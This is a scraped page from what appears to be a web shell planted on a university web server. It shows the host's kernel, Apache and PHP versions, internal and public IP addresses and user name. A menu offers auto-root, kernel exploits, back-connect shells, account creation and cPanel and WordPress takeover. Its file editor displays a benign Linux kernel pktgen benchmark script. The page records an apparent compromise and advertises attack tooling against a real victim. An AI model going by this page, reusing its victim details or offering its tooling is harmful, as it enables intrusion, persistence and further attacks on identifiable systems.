Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.218.113.187
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-204 /
samples /
pktgen /
[ HOME SHELL ]
Name
Size
Permission
Action
functions.sh
4.77
KB
-rw-r--r--
parameters.sh
3.09
KB
-rw-r--r--
pktgen_bench_xmit_mode_netif_r...
3.03
KB
-rwxr-xr-x
pktgen_bench_xmit_mode_queue_x...
2.22
KB
-rwxr-xr-x
pktgen_sample01_simple.sh
2.26
KB
-rwxr-xr-x
pktgen_sample02_multiqueue.sh
2.54
KB
-rwxr-xr-x
pktgen_sample03_burst_single_f...
2.94
KB
-rwxr-xr-x
pktgen_sample04_many_flows.sh
2.85
KB
-rwxr-xr-x
pktgen_sample05_flow_per_threa...
2.62
KB
-rwxr-xr-x
pktgen_sample06_numa_awared_qu...
3.36
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pktgen_sample04_many_flows.sh
#!/bin/bash # SPDX-License-Identifier: GPL-2.0 # # Script example for many flows testing # # Number of simultaneous flows limited by variable $FLOWS # and number of packets per flow controlled by variable $FLOWLEN # basedir=`dirname $0` source ${basedir}/functions.sh root_check_run_with_sudo "$@" # Parameter parsing via include source ${basedir}/parameters.sh # Set some default params, if they didn't get set [ -z "$DEST_IP" ] && DEST_IP="198.18.0.42" [ -z "$DST_MAC" ] && DST_MAC="90:e2:ba:ff:ff:ff" [ -z "$CLONE_SKB" ] && CLONE_SKB="0" [ -z "$COUNT" ] && COUNT="0" # Zero means indefinitely if [ -n "$DST_PORT" ]; then read -r DST_MIN DST_MAX <<< $(parse_ports $DST_PORT) validate_ports $DST_MIN $DST_MAX fi # NOTICE: Script specific settings # ======= # Limiting the number of concurrent flows ($FLOWS) # and also set how many packets each flow contains ($FLOWLEN) # [ -z "$FLOWS" ] && FLOWS="8000" [ -z "$FLOWLEN" ] && FLOWLEN="10" # Base Config DELAY="0" # Zero means max speed if [[ -n "$BURST" ]]; then err 1 "Bursting not supported for this mode" fi # General cleanup everything since last run pg_ctrl "reset" # Threads are specified with parameter -t value in $THREADS for ((thread = $F_THREAD; thread <= $L_THREAD; thread++)); do dev=${DEV}@${thread} # Add remove all other devices and add_device $dev to thread pg_thread $thread "rem_device_all" pg_thread $thread "add_device" $dev # Base config pg_set $dev "flag QUEUE_MAP_CPU" pg_set $dev "count $COUNT" pg_set $dev "clone_skb $CLONE_SKB" pg_set $dev "pkt_size $PKT_SIZE" pg_set $dev "delay $DELAY" pg_set $dev "flag NO_TIMESTAMP" # Single destination pg_set $dev "dst_mac $DST_MAC" pg_set $dev "dst $DEST_IP" if [ -n "$DST_PORT" ]; then # Single destination port or random port range pg_set $dev "flag UDPDST_RND" pg_set $dev "udp_dst_min $DST_MIN" pg_set $dev "udp_dst_max $DST_MAX" fi # Randomize source IP-addresses pg_set $dev "flag IPSRC_RND" pg_set $dev "src_min 198.18.0.0" pg_set $dev "src_max 198.19.255.255" # Limit number of flows (max 65535) pg_set $dev "flows $FLOWS" # # How many packets a flow will send, before flow "entry" is # re-generated/setup. pg_set $dev "flowlen $FLOWLEN" # # Flag FLOW_SEQ will cause $FLOWLEN packets from the same flow # being send back-to-back, before next flow is selected # incrementally. This helps lookup caches, and is more realistic. # pg_set $dev "flag FLOW_SEQ" done # Run if user hits control-c function print_result() { # Print results for ((thread = $F_THREAD; thread <= $L_THREAD; thread++)); do dev=${DEV}@${thread} echo "Device: $dev" cat /proc/net/pktgen/$dev | grep -A2 "Result:" done } # trap keyboard interrupt (Ctrl-C) trap true SIGINT echo "Running... ctrl^C to stop" >&2 pg_ctrl "start" print_result
Close